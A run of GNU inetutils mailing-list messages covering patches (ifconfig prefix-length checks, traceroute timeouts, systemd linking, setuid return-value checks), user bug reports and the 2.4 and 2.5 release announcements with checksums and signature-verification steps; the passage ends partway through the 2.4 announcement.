> diff --git a/NEWS b/NEWS
> index 535fccb8..bb3f5f1d 100644
> --- a/NEWS
> +++ b/NEWS
> @@ -10,6 +10,9 @@ Thanks to Rui Chen and Caleb Xu, see
>  Thanks to Collin Funk:
>  https://lists.gnu.org/archive/html/bug-inetutils/2024-03/msg0.html
>  
> +** ifconfig: With -A, reject invalid prefix length specifications, and
> +correctly handle a prefix length of 0.
> +
>  * Noteworthy changes in release 2.5 (2023-12-29) [stable]
>  
>  ** ftpd, rcp, rlogin, rsh, rshd, uucpd
> diff --git a/ifconfig/options.c b/ifconfig/options.c
> index e4a56369..d22a349d 100644
> --- a/ifconfig/options.c
> +++ b/ifconfig/options.c
> @@ -535,10 +535,10 @@ parse_opt (int key, char *arg, struct argp_state *state)
>   *netlen++ = 0;
>  
>   n = strtol (netlen, , 10);
> - if (end == netlen)
> + if (end == netlen || n < 0 || n > 32)
> error (EXIT_FAILURE, 0, "Wrong netmask length %s", netlen);
>  
> - addr.s_addr = htonl (INADDR_BROADCAST << (32 - n));
> + addr.s_addr = n ? htonl (INADDR_BROADCAST << (32 - n)) : INADDR_ANY;
>   str = strdup (inet_ntoa (addr));
>   parse_opt_set_netmask (ifp, str);
> }
> diff --git a/tests/ifconfig.sh b/tests/ifconfig.sh
> index 048f1ff5..bed7f043 100755
> --- a/tests/ifconfig.sh
> +++ b/tests/ifconfig.sh
> @@ -142,6 +142,17 @@ else
>  EOT
>  fi
>  
> +# Check that unusable prefix length values are rejected when using -A
> +#
> +for preflen in p 33 -1;
> +do
> +$IFCONFIG -i $LO -A 192.0.2.1/$preflen 2>&1 | \
> +$GREP 'Wrong netmask length' >/dev/null 2>&1 ||
> +{ errno=1;
> +  echo >&2 "Failed to reject invalid prefix length '$preflen'."
> +}
> +done
> +
>  test $errno -ne 0 || $silence echo "Successful testing".
>  
>  exit $errno


signature.asc
Description: PGP signature


Re: [PATCH] maint: Allow gnulib's readutmp module to use systemd.

2024-03-22 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Simon,
>
> On 3/22/24 12:51 PM, Simon Josefsson wrote:
>> Hi.  Nice catch, thank you.  I have added a CI/CD job to catch -lsystemd
>> regressions in the future:
>
> Nice, looks good to me.
>
>> Thank you for details -- I think this is somewhat subjective, but I do
>> prefer to augment as specific LDADD's as possible when it is known how
>> to do so.  If the library was used by 75% of the binaries, I wouldn't
>> had bothered, but I think this is a small enough subset to care about.
>
> Yes, good point. Just to double check I reconfigured and run
> 'make all && make check' and everything works as expected. Thanks.

Great!

>> I pushed the following patch in your name, adding a NEWS entry and the
>> moniker 'tiny patch' to indicate that signing copyright papers are not
>> necessary.  I appreciate you taking the time to prepare a patch, though,
>> and would be happy if you continued to do so, and then copyright papers
>> will be required at some point so let me know off-list and I'll send you
>> the proper form to fill out.
>
> Thanks! Yes, it would be nice to have copyright papers submitted so I
> can submit patches again in the future. I just recently signed them
> for gnulib since I started working on gnulib-tool.py.

Upgrading inetutils to use gnulib-tool.py would be nice.  As a start, I
bumped the gnulib submodule.

> I imagine it is the same process as that but s/gnulib/inetutils ? Feel
> free to email me off-list.

Done.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] maint: Allow gnulib's readutmp module to use systemd.

2024-03-22 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> When building on GNU/Linux with:
>
> ./configure --enable-systemd
>
> there are linker errors due to '-lsystemd' not being passed to the
> linker. This is used by Gnulib's readutmp module.

Hi.  Nice catch, thank you.  I have added a CI/CD job to catch -lsystemd
regressions in the future:

https://gitlab.com/jas/inetutils-cicd/-/commit/fc57115442098c0b31b1d947f01566680c49b943
https://gitlab.com/jas/inetutils-cicd/-/commit/bddc52c89cf4d25c6cfb71b3ffc3653fcc8ff3ec

> $ gnulib-tool --extract-link-directive readutmp
> $(READUTMP_LIB)
>
> This patch adds this to the 'LDADD' variable of the necessary
> Makefiles. 
>
> It has been a while since I used Automake, so I am unsure
> if these belong in _LDADD instead. It seems 
> that readutmp is only used by 'syslogd', 'talkd', and
> 'tests/readutmp.c' if that is any help.

Thank you for details -- I think this is somewhat subjective, but I do
prefer to augment as specific LDADD's as possible when it is known how
to do so.  If the library was used by 75% of the binaries, I wouldn't
had bothered, but I think this is a small enough subset to care about.

I pushed the following patch in your name, adding a NEWS entry and the
moniker 'tiny patch' to indicate that signing copyright papers are not
necessary.  I appreciate you taking the time to prepare a patch, though,
and would be happy if you continued to do so, and then copyright papers
will be required at some point so let me know off-list and I'll send you
the proper form to fill out.

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=a172b7689899a304ebb1c5061d3520a2414f8c6f

/Simon


signature.asc
Description: PGP signature


Re: ctime uses in inetutils

2024-02-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Simon Josefsson via Bug reports for the GNU Internet utilities
 writes:

> FYI, I have reluctantly needed convince myself that inetutils has bugs
> related to ctime for years < 1000 or year >  and that this is
> something that needs to be fixed rather than ignored as irrelevant
> (which was my initial reaction):
>
> https://lists.gnu.org/archive/html/bug-gnulib/2024-02/msg00029.html

Oops, that link should have been:

https://lists.gnu.org/archive/html/bug-gnulib/2024-02/msg00027.html

/Simon

> We should fix these and other uses, but I don't want to uglify the code
> too much, so I'm exploring what a good upgrade path could be:
>
> https://lists.gnu.org/archive/html/bug-gnulib/2024-02/msg00030.html
>
> I thought I'd mention this on the inetutils list now rather than later;
> feel free to chime in on the thread if you have thoughts.
>
> /Simon
>


signature.asc
Description: PGP signature


ctime uses in inetutils

2024-02-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
FYI, I have reluctantly needed convince myself that inetutils has bugs
related to ctime for years < 1000 or year >  and that this is
something that needs to be fixed rather than ignored as irrelevant
(which was my initial reaction):

https://lists.gnu.org/archive/html/bug-gnulib/2024-02/msg00029.html

We should fix these and other uses, but I don't want to uglify the code
too much, so I'm exploring what a good upgrade path could be:

https://lists.gnu.org/archive/html/bug-gnulib/2024-02/msg00030.html

I thought I'd mention this on the inetutils list now rather than later;
feel free to chime in on the thread if you have thoughts.

/Simon


signature.asc
Description: PGP signature


Re: 2.5, 2.4 and 2.3 of inetutils...

2024-01-27 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Marty Kazmaier  writes:

> All give me:
>
> tftpsubs.c:68:10: fatal error: arpa/tftp.h: No such file or directory
>68 | #include 
>
>
> When running 'make' on them.  ./configure runs fine.  I'm using
> Windows 10 x64 Pro.  What could I possibly be doing wrong?  I don't
> think I'm missing any dependencies.

Did version 2.2, or some earlier version of inetutils, work on Windows?

While porting to Windows shouldn't be impossible, I don't think anyone
is taking care of that.

I've recently ported to the MSYS2 toolchain, including setting up a
GitLab CI/CD pipeline, for libidn, libidn2, libntlm, oath-toolkit and
some other projects, so I'll see how difficult it would be to do it for
inetutils too.  The header you mention above needs to be provided by
gnulib, I suppose.

/Simon


signature.asc
Description: PGP signature


Re: error compiling inetutils 2.5 on macOS Sonoma

2023-12-30 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik A Johnson  writes:

> compiling inetutils 2.5 on macOS Sonoma gives an error compiling
> src/syslogd.c because the third argument in the prototype for ttymsg
> is "char *" but macOS /usr/include/util.h has it as "const char *”.

Thanks for testing!  See existing report here:
https://savannah.gnu.org/bugs/index.php?65093

Patch that is applied in git:
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=e158f9c70dbf0f8d2e09e4aa8e4ef73989c8b529

/Simon


signature.asc
Description: PGP signature


inetutils-2.5 released [stable]

2023-12-29 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
This is to announce inetutils-2.5, a stable release.

GNU Networking Utilities (inetutils) contain traditional networking
utilities, clients and servers, including ftp, telnet, inetd,
rsh/rlogin, tftp, talk, syslogd, ping, traceroute, whois, hostname,
dnsdomainname, ifconfig, and logger.

There have been 21 commits by 3 people in the 61 weeks since 2.4.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Enrik Berkhan (1)
  Jeffrey Bencteux (1)
  Simon Josefsson (19)

Happy hacking,
Simon
 [on behalf of the inetutils maintainers]
==

Here is the GNU inetutils home page:
http://gnu.org/s/inetutils/

For a summary of changes and contributors, see:
  http://git.sv.gnu.org/gitweb/?p=inetutils.git;a=shortlog;h=v2.5
or run this command from a git-cloned inetutils directory:
  git shortlog v2.4..v2.5

Here are the compressed sources:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.5.tar.gz   (2.8MB)
  https://ftpmirror.gnu.org/inetutils/inetutils-2.5.tar.xz   (1.6MB)

Here are the GPG detached signatures:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.5.tar.gz.sig
  https://ftpmirror.gnu.org/inetutils/inetutils-2.5.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

  44095e19940a73af4123d78cd43386574aa3187b  inetutils-2.5.tar.gz
  +gQ7u8Qm6uGGkHDStuKamAaWFawAaBzbkuIJEdkpImA=  inetutils-2.5.tar.gz
  fc9ffb87faa80d660c758b9d841679239b07b09a  inetutils-2.5.tar.xz
  h2l9YKMeELXLhqnwZR4ex77pgyDQSMBzlDGqw9V2T7Y=  inetutils-2.5.tar.xz

Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify inetutils-2.5.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   ed25519 2019-03-20 [SC]
B1D2 BD13 75BE CB78 4CF4  F8C4 D73C F638 C53C 06BE
  uid   Simon Josefsson 

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key si...@josefsson.org

  gpg --recv-keys 51722B08FE4745A2

  wget -q -O- 
'https://savannah.gnu.org/project/release-gpgkeys.php?group=inetutils=1'
 | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify inetutils-2.5.tar.gz.sig

This release was bootstrapped with the following tools:
  Gnulib 2a5409cf2a
  Autoconf 2.71
  Automake 1.16.5
  Bison 3.8.2
  M4 1.4.18
  Makeinfo 6.8
  Help2man 1.49.1
  Make 4.3
  Gzip 1.10
  Tar 1.34

NEWS

* Noteworthy changes in release 2.5 (2023-12-29) [stable]

** ftpd, rcp, rlogin, rsh, rshd, uucpd

*** Avoid potential privilege escalations by checking set*id() return values.
Reported by Jeffrey Bencteux in
.

** ping6

*** Support RFC 4443 ICMPv6 destination unreachable messages.
Tiny patch contributed by Enrik Berkhan  in


** Various bugs fixes, internal improvements and clean ups.
The code is now indented using GNU indent 2.2.13.


signature.asc
Description: PGP signature


Re: [PATCH] traceroute: Fix hangs or delays in timeout

2023-08-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
James R T  writes:

> Hi Simon,
>
> I have filled out the copyright assignment form accordingly.

Have you heard back from the FSF on this?  It would be nice to review
and merge your patch eventually.

/Simon

> The traceroute implementation by Dmitry Butskoy does not have this
> issue. Hence, it could be said that this patch would allow the
> traceroute implementation in `inetutils` to be more consistent with
> it. That said, no investigation has been done on how said
> implementation avoids or fixes this issue nor have I checked if this
> issue was ever brought up for discussion for that implementation in
> the first place.
>
> I also have not checked whether this issue is present in
> implementations other than the one written by Dmitry, such as Dublin
> Traceroute or Paris Traceroute.
>
> Best regards,
> James Raphael Tiovalen
>
> On Mon, Apr 24, 2023 at 3:12 PM Simon Josefsson  wrote:
>>
>> Hi.  Thank you -- I have sent you the copyright assignment form
>> separately.  Meanwhile, could you say something about how other
>> traceroute implementations behave here?  Does this patch make ours more
>> consistent with the rest, or is this an area where implementations
>> behave differently?
>>
>> /Simon
>>
>> James Raphael Tiovalen  writes:
>>
>> > Currently, traceroute resets the timeout to 3 seconds within the same
>> > probe when undesired ICMP traffic is received on the socket
>> > continuously, which causes it to hang or delay in timeout.
>> >
>> > This commit fixes this issue by setting the timeout to the remaining
>> > time within the same probe while processing the undesired ICMP packet
>> > instead of resetting the timeout to 3 seconds. The next probe is sent
>> > either when it times out or when the desired ICMP message is received.
>> >
>> > The fix can be verified by sending continuous ICMP traffic on the
>> > traceroute socket. Traceroute should not hang and there should not be
>> > any delays in the timeout.
>> >
>> > Signed-off-by: James Raphael Tiovalen 
>> > ---
>> >  src/traceroute.c | 35 +++
>> >  1 file changed, 27 insertions(+), 8 deletions(-)
>> >
>> > diff --git a/src/traceroute.c b/src/traceroute.c
>> > index e96f2307..f0e8c242 100644
>> > --- a/src/traceroute.c
>> > +++ b/src/traceroute.c
>> > @@ -359,11 +359,18 @@ do_try (trace_t * trace, const int hop,
>> >fd_set readset;
>> >int ret, tries, readonly = 0;
>> >struct timeval now, time;
>> > +  struct timeval start, end;
>> > +  long sec_elapsed = 0;
>> > +  long usec_elapsed = 0;
>> >double triptime = 0.0;
>> >uint32_t prev_addr = 0;
>> >
>> >printf (" %2d  ", hop);
>> >
>> > +  memset (, 0, sizeof (time)); /* 64-bit issue. */
>> > +  memset (, 0, sizeof (start)); /* 64-bit issue. */
>> > +  memset (, 0, sizeof (end)); /* 64-bit issue. */
>> > +
>> >for (tries = 0; tries < max_tries; tries++)
>> >  {
>> >int save_errno;
>> > @@ -372,18 +379,19 @@ do_try (trace_t * trace, const int hop,
>> >FD_ZERO ();
>> >FD_SET (fd, );
>> >
>> > -  memset (, 0, sizeof (time));  /* 64-bit issue.  */
>> > -  time.tv_sec = opt_wait;
>> > -  time.tv_usec = 0;
>> > -
>> >if (!readonly)
>> > - trace_write (trace);
>> > +{
>> > +  time.tv_sec = opt_wait;
>> > +  time.tv_usec = 0;
>> > +  trace_write (trace);
>> > +}
>> >
>> >errno = 0;
>> >ret = select (fd + 1, , NULL, NULL, );
>> >save_errno = errno;
>> >
>> >gettimeofday (, NULL);
>> > +  gettimeofday (, NULL);
>> >
>> >now.tv_usec -= trace->tsent.tv_usec;
>> >now.tv_sec -= trace->tsent.tv_sec;
>> > @@ -425,9 +433,20 @@ do_try (trace_t * trace, const int hop,
>> > if (rc < 0)
>> >   {
>> > /* FIXME: printf ("Some error ocurred\n"); */
>> > -   tries--;
>> > -   readonly = 1;
>> > -   continue;
>> > +   gettimeofday (, NULL);
>> > +   sec_elapsed = (end.tv_sec - start.tv_sec);
>> > +   usec_elapsed = (end.tv_usec - start.tv_usec);
>> > +   if (usec_elapsed < 0)
>> > + usec_elapsed = 0;
>> > +   time.tv_sec -= sec_elapsed;
>> > +   time.tv_usec -= usec_elapsed;
>> > +   if (time.tv_sec >= 0 && time.tv_usec >= 0)
>> > + {
>> > +   tries--;
>> > +   if (!readonly)
>> > + readonly = 1;
>> > +   continue;
>> > + }
>> >   }
>> > else
>> >   {
>
>


signature.asc
Description: PGP signature


Re: ftp mdtm: invalid command

2023-08-04 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
"Felipe G. Nievinski"  writes:

> Sorry if it's a silly question, but wouldn't it be better for the FTP
> client to support the command names as standardized in IETF RFCs?

I don't think that is better -- the "names" in the RFCs are cryptic
protocol names, usually not useful for a human interface.  The "modtime"
command as FTP client command has a long history, and for those who
prefer the RFC names the 'quote MDTM foo' is already available.
Increasing the command namespace increases the cognitive load on users
to comprehend the tool, which is already rather complex.

/Simon

> Felipe
>
>
>
>
>
> On Thu, Aug 3, 2023, 04:02 Erik Auerswald 
> wrote:
>
>> Hi,
>>
>> On Thu, Aug 03, 2023 at 12:20:29AM +0200, Simon Josefsson wrote:
>> > Erik Auerswald  writes:
>> > > On Wed, Aug 02, 2023 at 04:01:00PM -0300, Felipe G. Nievinski wrote:
>> > >>
>> > >> I'm using the FTP utility, which supposedly supports the MDTM command
>> (as
>> > >> per section 21.1 Standards of the documentation):
>> > >> https://www.gnu.org/software/inetutils/manual/inetutils.html
>> > >
>> > > This documentation pertains to the FTP server (ftpd).
>> > >
>> > >> However, when I try mdtm, it complains: "invalid command".
>> > >
>> > > The FTP client (ftp) does not implement the MDTM command, as
>> documented in
>> > > <
>> https://www.gnu.org/software/inetutils/manual/html_node/Ftp-commands.html
>> >.
>> >
>> > The "modtime" ftp client command uses MDTM, so try this:
>> >
>> > ftp> modtime myfilename.ext
>>
>> Thanks, that is interesting!  The descriptions of MDTM and modtime
>> are similar:
>>
>>  * MDTM:
>>  show last modification time of file
>>
>>  * modtime file-name:
>>  Show the last modification time of the file on the remote machine.
>>
>> It seems as if the FTP client often uses longer, more human friendly
>> command names instead of the respective server request names.  As such
>> it seems as if "modtime" in the client is "MDTM" in the server.  The code
>> for ftp/cmds.c::modtime seems to confirm that.
>>
>> As such the answer to the original question is:
>>
>> "MDTM" is spelled "modtime" in the FTP client.
>>
>> I have learned something today. :-)
>>
>> Best regards,
>> Erik
>>


signature.asc
Description: PGP signature


Re: ftp mdtm: invalid command

2023-08-02 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi,
>
> On Wed, Aug 02, 2023 at 04:01:00PM -0300, Felipe G. Nievinski wrote:
>> 
>> I'm using the FTP utility, which supposedly supports the MDTM command (as
>> per section 21.1 Standards of the documentation):
>> https://www.gnu.org/software/inetutils/manual/inetutils.html
>
> This documentation pertains to the FTP server (ftpd).
>
>> However, when I try mdtm, it complains: "invalid command".
>
> The FTP client (ftp) does not implement the MDTM command, as documented in
> .

The "modtime" ftp client command uses MDTM, so try this:

ftp> modtime myfilename.ext

/Simon

>> For testing purposes, I've used the quote command:
>> 
>> quote "mdtm myfilename.ext"
>> 
>> which returns a timestamp correctly.
>> 
>> ftp> mdtm 20230518T213000Z.gps.new
>> ?Invalid command
>> ftp> quote "mdtm 20230518T213000Z.gps.new"
>> 213 20230521012942
>> 
>> 
>> So, the server recognizes the command correctly.
>> 
>> Am I missing something?
>
> FTP server and client are different programs, even though they are part of
> the same collection.
>
> Sorry that I cannot provide a better answer.
>
> Best regards,
> Erik
>
>



Re: setuid/setgid return values not checked in rlogin, rsh, rshd and uucpd

2023-07-31 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Jeffrey  writes:

> Patch attached.

Thank you!  I have pushed this to git.  Next time, please run 'make
syntax-check' to check your patches (code indentation caused troubles
now, but I fixed it) and feel free to include the NEWS blurb in the git
patch itself.

I'll reach out to the netbsd-tnftpd folks to see if they are interested,
looks like their ftpd has similar issues.

/Simon


signature.asc
Description: PGP signature


Re: setuid/setgid return values not checked in rlogin, rsh, rshd and uucpd

2023-07-22 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Jeffrey  writes:

> I found more occurences of unchecked values for set*id() functions in other
> inetutils programs: ftpd, rcp.
>
> It has different security impact if it can be triggered:
>
> * rcp: local privilege escalation to the user running the binary
> * ftpd: undefined behaviour without privilege escalation as all calls are
> to seteuid(0) (gaining root privileges, not dropping it)
>
> I am attaching a consolidated patch to fix these and the previous ones.

Thanks again -- copyright papers have now arrived, and I looked at the
patch, and it seems good.  However the patch does not apply cleanly due
to whitespace and line-wrapping problems, can you re-send the patch as
an attachment instead of inline in your email?  Please also add NEWS
entries (look at earlier entries as templates).

/Simon


signature.asc
Description: PGP signature


Re: setuid/setgid return values not checked in rlogin, rsh, rshd and uucpd

2023-07-03 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Thank you Jeffrey, have you signed the copyright assignment form?  I'll
email it to you privately.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] traceroute: Fix hangs or delays in timeout

2023-04-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Thank you!  I was also thinking more how it compares to the "old"
traditional traceroute implementations found in BSD's.  I'll review the
code more carefully when the assignment is complete, and hopefully
merge it as-is.

/Simon

mån 2023-04-24 klockan 17:01 +0800 skrev James R T:
> Hi Simon,
> 
> I have filled out the copyright assignment form accordingly.
> 
> The traceroute implementation by Dmitry Butskoy does not have this
> issue. Hence, it could be said that this patch would allow the
> traceroute implementation in `inetutils` to be more consistent with
> it. That said, no investigation has been done on how said
> implementation avoids or fixes this issue nor have I checked if this
> issue was ever brought up for discussion for that implementation in
> the first place.
> 
> I also have not checked whether this issue is present in
> implementations other than the one written by Dmitry, such as Dublin
> Traceroute or Paris Traceroute.
> 
> Best regards,
> James Raphael Tiovalen
> 
> On Mon, Apr 24, 2023 at 3:12 PM Simon Josefsson 
> wrote:
> > 
> > Hi.  Thank you -- I have sent you the copyright assignment form
> > separately.  Meanwhile, could you say something about how other
> > traceroute implementations behave here?  Does this patch make ours
> > more
> > consistent with the rest, or is this an area where implementations
> > behave differently?
> > 
> > /Simon
> > 
> > James Raphael Tiovalen  writes:
> > 
> > > Currently, traceroute resets the timeout to 3 seconds within the
> > > same
> > > probe when undesired ICMP traffic is received on the socket
> > > continuously, which causes it to hang or delay in timeout.
> > > 
> > > This commit fixes this issue by setting the timeout to the
> > > remaining
> > > time within the same probe while processing the undesired ICMP
> > > packet
> > > instead of resetting the timeout to 3 seconds. The next probe is
> > > sent
> > > either when it times out or when the desired ICMP message is
> > > received.
> > > 
> > > The fix can be verified by sending continuous ICMP traffic on the
> > > traceroute socket. Traceroute should not hang and there should
> > > not be
> > > any delays in the timeout.
> > > 
> > > Signed-off-by: James Raphael Tiovalen 
> > > ---
> > >  src/traceroute.c | 35 +++
> > >  1 file changed, 27 insertions(+), 8 deletions(-)
> > > 
> > > diff --git a/src/traceroute.c b/src/traceroute.c
> > > index e96f2307..f0e8c242 100644
> > > --- a/src/traceroute.c
> > > +++ b/src/traceroute.c
> > > @@ -359,11 +359,18 @@ do_try (trace_t * trace, const int hop,
> > >    fd_set readset;
> > >    int ret, tries, readonly = 0;
> > >    struct timeval now, time;
> > > +  struct timeval start, end;
> > > +  long sec_elapsed = 0;
> > > +  long usec_elapsed = 0;
> > >    double triptime = 0.0;
> > >    uint32_t prev_addr = 0;
> > > 
> > >    printf (" %2d  ", hop);
> > > 
> > > +  memset (, 0, sizeof (time)); /* 64-bit issue. */
> > > +  memset (, 0, sizeof (start)); /* 64-bit issue. */
> > > +  memset (, 0, sizeof (end)); /* 64-bit issue. */
> > > +
> > >    for (tries = 0; tries < max_tries; tries++)
> > >  {
> > >    int save_errno;
> > > @@ -372,18 +379,19 @@ do_try (trace_t * trace, const int hop,
> > >    FD_ZERO ();
> > >    FD_SET (fd, );
> > > 
> > > -  memset (, 0, sizeof (time));  /* 64-bit issue. 
> > > */
> > > -  time.tv_sec = opt_wait;
> > > -  time.tv_usec = 0;
> > > -
> > >    if (!readonly)
> > > - trace_write (trace);
> > > +    {
> > > +  time.tv_sec = opt_wait;
> > > +  time.tv_usec = 0;
> > > +  trace_write (trace);
> > > +    }
> > > 
> > >    errno = 0;
> > >    ret = select (fd + 1, , NULL, NULL, );
> > >    save_errno = errno;
> > > 
> > >    gettimeofday (, NULL);
> > > +  gettimeofday (, NULL);
> > > 
> > >    now.tv_usec -= trace->tsent.tv_usec;
> > >    now.tv_sec -= trace->tsent.tv_sec;
> > > @@ -425,9 +433,20 @@ do_try (trace_t * trace, const int hop,
> > >     if (rc < 0)
> > >   {
> > >     /* FIXME: printf ("Some error ocurred\n"); */
> > > -   tries--;
> > > -   readonly = 1;
> > > -   continue;
> > > +   gettimeofday (, NULL);
> > > +   sec_elapsed = (end.tv_sec - start.tv_sec);
> > > +   usec_elapsed = (end.tv_usec - start.tv_usec);
> > > +   if (usec_elapsed < 0)
> > > + usec_elapsed = 0;
> > > +   time.tv_sec -= sec_elapsed;
> > > +   time.tv_usec -= usec_elapsed;
> > > +   if (time.tv_sec >= 0 && time.tv_usec >= 0)
> > > + {
> > > +   tries--;
> > > +   if (!readonly)
> > > + readonly = 1;
> > > +   continue;
> > > + }
> > >   }
> > >     else
> > >   {



signature.asc
Description: This is a 

Re: [PATCH] traceroute: Fix hangs or delays in timeout

2023-04-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Hi.  Thank you -- I have sent you the copyright assignment form
separately.  Meanwhile, could you say something about how other
traceroute implementations behave here?  Does this patch make ours more
consistent with the rest, or is this an area where implementations
behave differently?

/Simon

James Raphael Tiovalen  writes:

> Currently, traceroute resets the timeout to 3 seconds within the same
> probe when undesired ICMP traffic is received on the socket
> continuously, which causes it to hang or delay in timeout.
>
> This commit fixes this issue by setting the timeout to the remaining
> time within the same probe while processing the undesired ICMP packet
> instead of resetting the timeout to 3 seconds. The next probe is sent
> either when it times out or when the desired ICMP message is received.
>
> The fix can be verified by sending continuous ICMP traffic on the
> traceroute socket. Traceroute should not hang and there should not be
> any delays in the timeout.
>
> Signed-off-by: James Raphael Tiovalen 
> ---
>  src/traceroute.c | 35 +++
>  1 file changed, 27 insertions(+), 8 deletions(-)
>
> diff --git a/src/traceroute.c b/src/traceroute.c
> index e96f2307..f0e8c242 100644
> --- a/src/traceroute.c
> +++ b/src/traceroute.c
> @@ -359,11 +359,18 @@ do_try (trace_t * trace, const int hop,
>fd_set readset;
>int ret, tries, readonly = 0;
>struct timeval now, time;
> +  struct timeval start, end;
> +  long sec_elapsed = 0;
> +  long usec_elapsed = 0;
>double triptime = 0.0;
>uint32_t prev_addr = 0;
>  
>printf (" %2d  ", hop);
>  
> +  memset (, 0, sizeof (time)); /* 64-bit issue. */
> +  memset (, 0, sizeof (start)); /* 64-bit issue. */
> +  memset (, 0, sizeof (end)); /* 64-bit issue. */
> +
>for (tries = 0; tries < max_tries; tries++)
>  {
>int save_errno;
> @@ -372,18 +379,19 @@ do_try (trace_t * trace, const int hop,
>FD_ZERO ();
>FD_SET (fd, );
>  
> -  memset (, 0, sizeof (time));  /* 64-bit issue.  */
> -  time.tv_sec = opt_wait;
> -  time.tv_usec = 0;
> -
>if (!readonly)
> - trace_write (trace);
> +{
> +  time.tv_sec = opt_wait;
> +  time.tv_usec = 0;
> +  trace_write (trace);
> +}
>  
>errno = 0;
>ret = select (fd + 1, , NULL, NULL, );
>save_errno = errno;
>  
>gettimeofday (, NULL);
> +  gettimeofday (, NULL);
>  
>now.tv_usec -= trace->tsent.tv_usec;
>now.tv_sec -= trace->tsent.tv_sec;
> @@ -425,9 +433,20 @@ do_try (trace_t * trace, const int hop,
> if (rc < 0)
>   {
> /* FIXME: printf ("Some error ocurred\n"); */
> -   tries--;
> -   readonly = 1;
> -   continue;
> +   gettimeofday (, NULL);
> +   sec_elapsed = (end.tv_sec - start.tv_sec);
> +   usec_elapsed = (end.tv_usec - start.tv_usec);
> +   if (usec_elapsed < 0)
> + usec_elapsed = 0;
> +   time.tv_sec -= sec_elapsed;
> +   time.tv_usec -= usec_elapsed;
> +   if (time.tv_sec >= 0 && time.tv_usec >= 0)
> + {
> +   tries--;
> +   if (!readonly)
> + readonly = 1;
> +   continue;
> + }
>   }
> else
>   {


signature.asc
Description: PGP signature


Re: ICMPv4 Type 3 Code 13 not implemented

2023-01-26 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi,
>
> On Sat, Jan 21, 2023 at 04:16:59PM +, Marco wrote:
>> 
>> inetutils-telnet doesn't seem to implement ICMPv4 correctly.
>
> The telnet client does not use ICMP directly.
>
>> It doesn't print a proper message when ICMPv4 Type 3 Code 13 is being
>> received, only "no route to destination".
>
> When telnet cannot connect to a remote server, it uses perror(3) to
> print the error message associated with the failed connect(2) syscall.
> The telnet client does not control the contents of that error message.

I agree -- although maybe there is a way for telnet to find out the
low-level error reason, does someone know what APIs to use?  If it is
easy to call some other function to get a human readable string
explaining the ICMPv4 Type 3 Code 13 reason (when that situation
occured) we could print it.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] ping: decode unreachable codes added in RFC 4443

2023-01-09 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Enrik Berkhan  writes:

> RFC 4443 added two new codes for ICMPv6 destination unreachable messages
> (type 1):
>
> 5 - Source address failed ingress/egress policy
> 6 - Reject route to destination

Hi Enrik.

Thank you, I have pushed this:
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=c2cfa7889c09b6bd1ef7bc9967111e6509e610c7

This contribution was small enough to not require copyright assignment,
but if you plan to contribute more fixes (most welcome!) please email
ass...@gnu.org asking them to send you the appropriate copyright form.
For more information see:

https://www.gnu.org/prep/maintain/maintain.html#Legal-Matters

/Simon


signature.asc
Description: PGP signature


inetutils-2.4 released [stable]

2022-10-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
We are pleased to announce version 2.4 of The GNU Networking Utilities.

GNU Networking Utilities contain traditional networking utilities,
clients and servers, including ftp, telnet, inetd, rsh/rlogin, tftp,
talk, syslogd, ping, traceroute, whois, hostname, dnsdomainname,
ifconfig, and logger.

Happy hacking,
Simon

Here are the compressed sources:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.4.tar.gz   (2.6MB)
  https://ftpmirror.gnu.org/inetutils/inetutils-2.4.tar.xz   (1.5MB)

Here are the GPG detached signatures:
  https://ftpmirror.gnu.org/inetutils/inetutils-2.4.tar.gz.sig
  https://ftpmirror.gnu.org/inetutils/inetutils-2.4.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.org/order/ftp.html

Here are the SHA1 and SHA256 checksums:

52908bfc6e0bb6bbb54de4414e92c29fd13906d7  inetutils-2.4.tar.gz
dq7gwvCVRyhgDVEJVdaXpOwpMkMY54SEjbYG7jwJ42U  inetutils-2.4.tar.gz
df64dd4ea0e752a839dd51dd8a6a001c9c7d1e96  inetutils-2.4.tar.xz
F4nWsbGlff4qere1M+6fXf2cv1tZuxuzwmEu0I0PaLI  inetutils-2.4.tar.xz

The SHA256 checksum is base64 encoded, instead of the
